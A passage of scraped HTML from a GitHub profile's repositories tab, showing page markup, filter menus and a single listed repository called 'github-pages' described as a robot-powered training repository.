28.1-29.1" fill="currentColor"></path></svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Twitter username" aria-label="Twitter username" name="user[profile_twitter_username]" value="" > </div> <div class="my-3"> <div class="js-profile-editable-error color-fg-danger my-3"></div> <button type="submit" data-view-component="true" class="btn-primary btn-sm btn"> Save </button> <button type="reset" data-view-component="true" class="js-profile-editable-cancel btn-sm btn"> Cancel </button> </div> </form> </div> <div class="js-profile-editable-area d-flex flex-column d-md-block"> <div class="p-note user-profile-bio mb-3 js-user-profile-bio f4" data-bio-text="" hidden></div> <div class="mb-3"> <button name="button" type="button" class="btn btn-block js-profile-editable-edit-button" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"INLINE_EDIT_BUTTON","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="61c43523f3cefbffa175f42d94926965a2c009a1d69d82f4bd8aee8c11a19dc8">Edit profile</button> </div> <ul class="vcard-details"> <li title="Member since" class="vcard-detail pt-1 css-truncate css-truncate-target "><svg class="octicon octicon-clock" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zm.5 4.75a.75.75 0 00-1.5 0v3.5a.75.75 0 00.471.696l2.5 1a.75.75 0 00.557-1.392L8.5 7.742V4.75z"></path></svg> <span class="join-label">Joined </span> <relative-time datetime="2022-06-08T03:50:24Z" class="no-wrap">Jun 7, 2022</relative-time> </li> </ul> </div> </div> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav user-profile-nav d-block d-md-none position-sticky top-0 pl-3 ml-n3 mr-n3 pr-3 color-bg-default" style="z-index:3;" > <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> <div> <div class="position-relative"> <div class="border-bottom color-border-muted py-3"> <a href="/new" class="d-md-none btn btn-primary d-flex flex-items-center flex-justify-center width-full mb-4"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo mr-1"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> <div class="d-flex flex-items-start"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="width-full" data-autosearch-results-container="user-repositories-list" aria-label="Repositories" role="search" data-turbo="false" action="/chikitang" accept-charset="UTF-8" method="get"> <div class="d-flex flex-column flex-lg-row flex-auto"> <div class="mb-1 mb-md-0 mr-md-3 flex-auto"> <input type="hidden" name="tab" value="repositories"> <input type="search" id="your-repos-filter" name="q" class="form-control width-full" placeholder="Find a repository…" autocomplete="off" aria-label="Find a repository…" value="" data-throttled-autosubmit> </div> <div class="d-flex flex-wrap"> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 mr-1" id="type-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Type</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select type</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="type-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="type" id="type_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_public" value="public" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Public</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_private" value="private" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Private</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_source" value="source" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Sources</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_fork" value="fork" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Forks</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_archived" value="archived" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Archived</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_mirror" value="mirror" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Mirrors</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_template" value="template" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Templates</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0" id="language-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Language</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu mt-1 mt-lg-0 mr-md-2 ml-md-2 right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select language</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="language-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="language" id="language_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="language" id="language_html" value="html" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>HTML</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 ml-1" id="sort-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Sort</span> <span class="d-none" data-menu-button> Last updated </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select order</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="sort-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="sort" id="sort_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Last updated</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_name" value="name" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Name</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_stargazers" value="stargazers" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Stars</span> </label> </div> </div> </details-menu> </details> </div> </div> </form> <div class="d-none d-md-flex flex-md-items-center flex-md-justify-end"> <a href="/new" class="text-center btn btn-primary ml-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> </div> </div> </div> <div id="user-repositories-list"> <ul data-filterable-for="your-repos-filter" data-filterable-type="substring"> <li class="col-12 d-flex flex-justify-between width-full py-4 border-bottom color-border-muted public source" itemprop="owns" itemscope itemtype="http://schema.org/Code"> <div class="col-10 col-lg-9 d-inline-block"> <div class="d-inline-block mb-1"> <h3 class="wb-break-all"> <a href="/chikitang/github-pages" itemprop="name codeRepository" > github-pages</a> <span></span><span class="Label Label--secondary v-align-middle ml-1 mb-1">Public</span> </h3> </div> <div> <p class="col-9 d-inline-block color-fg-muted mb-2 pr-4" itemprop="description"> A robot powered training repository <g-emoji class="g-emoji" alias="robot" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f916.png">🤖</g-emoji> </p> </div> <div class="f6 color-fg-muted mt-2"> <span class="ml-0 mr-3"> <span class="repo-language-color" style="background-color: #e34c26"></span> <span itemprop="programmingLanguage">HTML</span> </span> <span class="mr-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-law mr-1"> <path fill-rule="evenodd" d="M8.75.75a.75.75 0 00-1.5 0V2h-.984c-.305 0-.604.08-.869.23l-1.288.737A.25.25 0 013.984 3H1.75a.75.75 0 000 1.5h.428L.066 9.192a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.514 3.514 0 00.686.45A4.492 4.492 0 003 11c.88 0 1.556-.22 2.023-.454a3.515 3.515 0 00.686-.45l.045-.04.016-.015.006-.006.002-.002.001-.002L5.25 9.5l.53.53a.75.75 0 00.154-.838L3.822 4.5h.162c.305 0 .604-.08.869-.23l1.289-.737a.25.25 0 01.124-.033h.984V13h-2.5a.75.75 0 000 1.5h6.5a.75.75 0 000-1.5h-2.5V3.5h.984a.25.25 0 01.124.033l1.29.736c.264.152.563.231.868.231h.162l-2.112 4.692a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.517 3.517 0 00.686.45A4.492 4.492 0 0013 11c.88 0 1.556-.22 2.023-.454a3.512 3.512 0 00.686-.45l.045-.04.01-.01.006-.005.006-.006.002-.002.001-.002-.529-.531.53.53a.75.75 0 00.154-.838L13.823 4.5h.427a.75.75 0 000-1.5h-2.234a.25.25 0 01-.124-.033l-1.29-.736A1.75 1.75 0 009.735 2H8.75V.75zM1.695 9.227c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327l-1.305 2.9zm10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327l-1.305 2.9z"></path> </svg>MIT License </span> Updated <relative-time datetime="2022-06-08T03:58:07Z" class="no-wrap">Jun 7, 2022</relative-time> </div> </div> <div class="col-2 d-flex flex-column flex-justify-around flex-items-end ml-3"> <template class="js-unstar-confirmation-dialog-template"> <div class="Box-header"> <h2 class="Box-title">Unstar this repository?</h2> </div> <div class="Box-body"> <p class="mb-3"> This will remove {{ repoNameWithOwner }} from the {{ listsWithCount }} that it's been added to. </p> <div class="form-actions"> <form class="js-social-confirmation-form" data-turbo="false" action="{{ confirmUrl }}" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="{{ confirmCsrfToken }}"> <input type="hidden" name="confirm" value="true"> <button data-close-dialog="true" type="submit" data-view-component="true" class="btn-danger btn width-full"> Unstar </button> </form> </div> </div> </template> <div data-view-component="true" class="js-toggler-container js-social-container starring-container BtnGroup d-flex"> <form class="starred js-social-form BtnGroup-parent flex-auto js-deferred-toggler-target" data-turbo="false" action="/chikitang/github-pages/unstar" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="P3ZaMuVNtLT4QUVj9SZ3_76QeVS-3FOc0gP3XVwVBgRcLVKXCTCdvdJ6obMwUrBCGfd2XQVN_W7IuZa7njBcNA" autocomplete="off" /> <input type="hidden" value="KnKZMI3CU5RojoPkAik3DUoD4aqrgGVadUrVgfAoCJRJKZGVYb96nUK1ZzTHXfCw7WTuoxARy6hv8LRnMg1SpA" data-csrf="true" class="js-confirm-csrf-token" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"UNSTAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="f34c8205d1678d4ae0e77c4839fbb14d3a9fd63160652b28998f8827c527e5a2" data-ga-click="Repository, click unstar button, action:profiles/repositories#index; text:Unstar" aria-label="Unstar this repository" type="submit" data-view-component="true" class="rounded-left-2 border-right-0 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star-fill starred-button-icon d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25z"></path> </svg><span data-view-component="true" class="d-inline"> Starred </span> </button></form> <form class="unstarred js-social-form BtnGroup-parent flex-auto" data-turbo="false" action="/chikitang/github-pages/star" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="VdD5gHR0SaNWuuE-4Huf1LFVNH_kIFLksg8psuv1LDDU6Ha53YRem4Yp2ZrIpb7eKSa1cf-yR9oZDpa0b5XdgA" autocomplete="off" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"STAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="5cd067574b17d3257d89fbe1c8c675a553eb8e3ad7cea5efb3cf0e75d36f0801" data-ga-click="Repository, click star button, action:profiles/repositories#index; text:Star" aria-label="Star this repository" type="submit" data-view-component="true" class="js-toggler-target rounded-left-2 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 